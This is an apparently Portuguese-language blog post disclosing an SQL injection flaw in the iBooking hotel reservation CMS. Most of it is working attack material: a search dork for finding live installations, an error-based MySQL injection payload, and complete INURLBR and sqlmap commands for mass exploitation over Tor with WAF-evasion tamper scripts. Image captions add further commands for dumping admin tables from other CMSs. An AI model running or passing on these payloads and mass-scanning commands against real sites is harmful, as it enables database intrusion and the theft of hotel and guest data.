IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:
Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.
Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES:
[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO: idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015
A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas
Código:
jQuery(function($){
$("#quartos").change(function() {
var qtde_quartos = $(this).val();
$.ajax({
type: "GET",
url: "filtro_faixa_etaria.php",
data: "qtde_quartos="+qtde_quartos+"&idPousada=61",
success: function(xml){
$("#filtro_faixa_etaria").html(xml);
}
});
});
$.ajax({
type: "GET",
url: "filtro_faixa_etaria.php",
data: "qtde_quartos=1&idPousada=61",
success: function(xml){
$("#filtro_faixa_etaria").html(xml);
}
});
});
URL Vulnerável:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61
POC:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)
Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.
@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA DO SERVIDOR
Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::
Print saída da injeção:
Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR
Montando comando:
SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'
SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'
SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'
SETANDO TIPO DE VALIDAÇÃO:
- USE: -t 3
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php
SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo: -a {string}
Usando: -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE: -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get
COMANDO COMPLETO:
php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'
EXPLORANDO VIA SQLMAP:
python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'
EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.
php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"
Print saída:
Use Prepares statement sem moderação:
O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.
Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.
https://ghostbin.com/paste/e99uz
Referencias:






![sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID)--dbs --tamper modsecurityzeroversioned.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast sqlmap -u http://www.site.com/filevuln.php?id=(ID) --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py --level 3 --risk 2 --random-agent --no-cast](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF5Qt3qw4SOMHAtWl12fEDtIEiiE9scNyusVWWccFw1gXhvlkNB8YRBRgmxqVfOEKk5FaLyWw7FH0bkx4H77QMR2D9Wdlez-x9efkZPNVK8tOdivtn2RBxqpcf-0nNf3kfO5HAPK_WU6W1/s640/Untitled-2.png)
![[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py" OUTPUT PRINT SQLMAP: [+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Web India Solutions" & inurl:"php?id="' -s sqli.txt -q 1,6 --exploit-get "?&id=1%270x27" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch --tamper modsecurityzeroversioned.py" OUTPUT PRINT SQLMAP:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJe6QiEFdDdA9nJpfdtdzKWkpK6oq1dhMh2ZnZsGzQX_c5qxhiTaT5nHuDSRl8cI1lFNLMZS2WbdtJN4sA2K7wWTGL8dFzgHFBiA1wFE2dE82wT1cr-JSjQ_aLf7HVT9TxsVe8X9bHwvsO/s640/Untitled-2.png)
![[+] EXPLORING WITH SQLMAP: sqlmap.py -u 'http://www.target.com/page.php?id=1' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch OUTPUT PRINT: [+] EXPLORING WITH SQLMAP: sqlmap.py -u 'http://www.target.com/page.php?id=1' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch OUTPUT PRINT:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRBUEVpf53_WMSzx6Ak3D9YFeai6U8cfFTeInN9nWIMMGQUCglMOdmd9Lk2ayNUJ3ThFwdUrEmruKTdWzTkzm_uf6gOTLXWrSHjlWolq-4nykaFYWzpphCB9RzYrokP4HWsKJa9kthFJx0/s640/Sem+t%C3%ADtulo.png)
![[+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Aadi" & inurl:"page.php?id="' -s aadi.txt -q 1,6 --exploit-get "&id=1'" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch" OUTPUT PRINT: [+] EXPLORING WITH MASS INURLBR: php inurlbr.php --dork 'intext:"Aadi" & inurl:"page.php?id="' -s aadi.txt -q 1,6 --exploit-get "&id=1'" --command-vul "sqlmap.py -u '_TARGETFULL_' -p id --random-agent --beep --level 3 --risk 2 --threads 2 --tor --check-tor --tor-type=SOCKS5 --dbs --dbms='Mysql' --time-sec 10 --batch" OUTPUT PRINT:](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCEmPbZpMWG5BY5ox_jCvivOkWiv8jt0TijXt-leIdvHREtiIZXnCUVhiAeVntRZhfy4x1FI4PymARFpiXr2PwHaD7DwTZhpg_IYX3VvqCWt_LkfEQuHOZPVb1hyphenhyphenFypp6zhnpdN8HVBHs_/s640/Sem+t%C3%ADtulo.png)









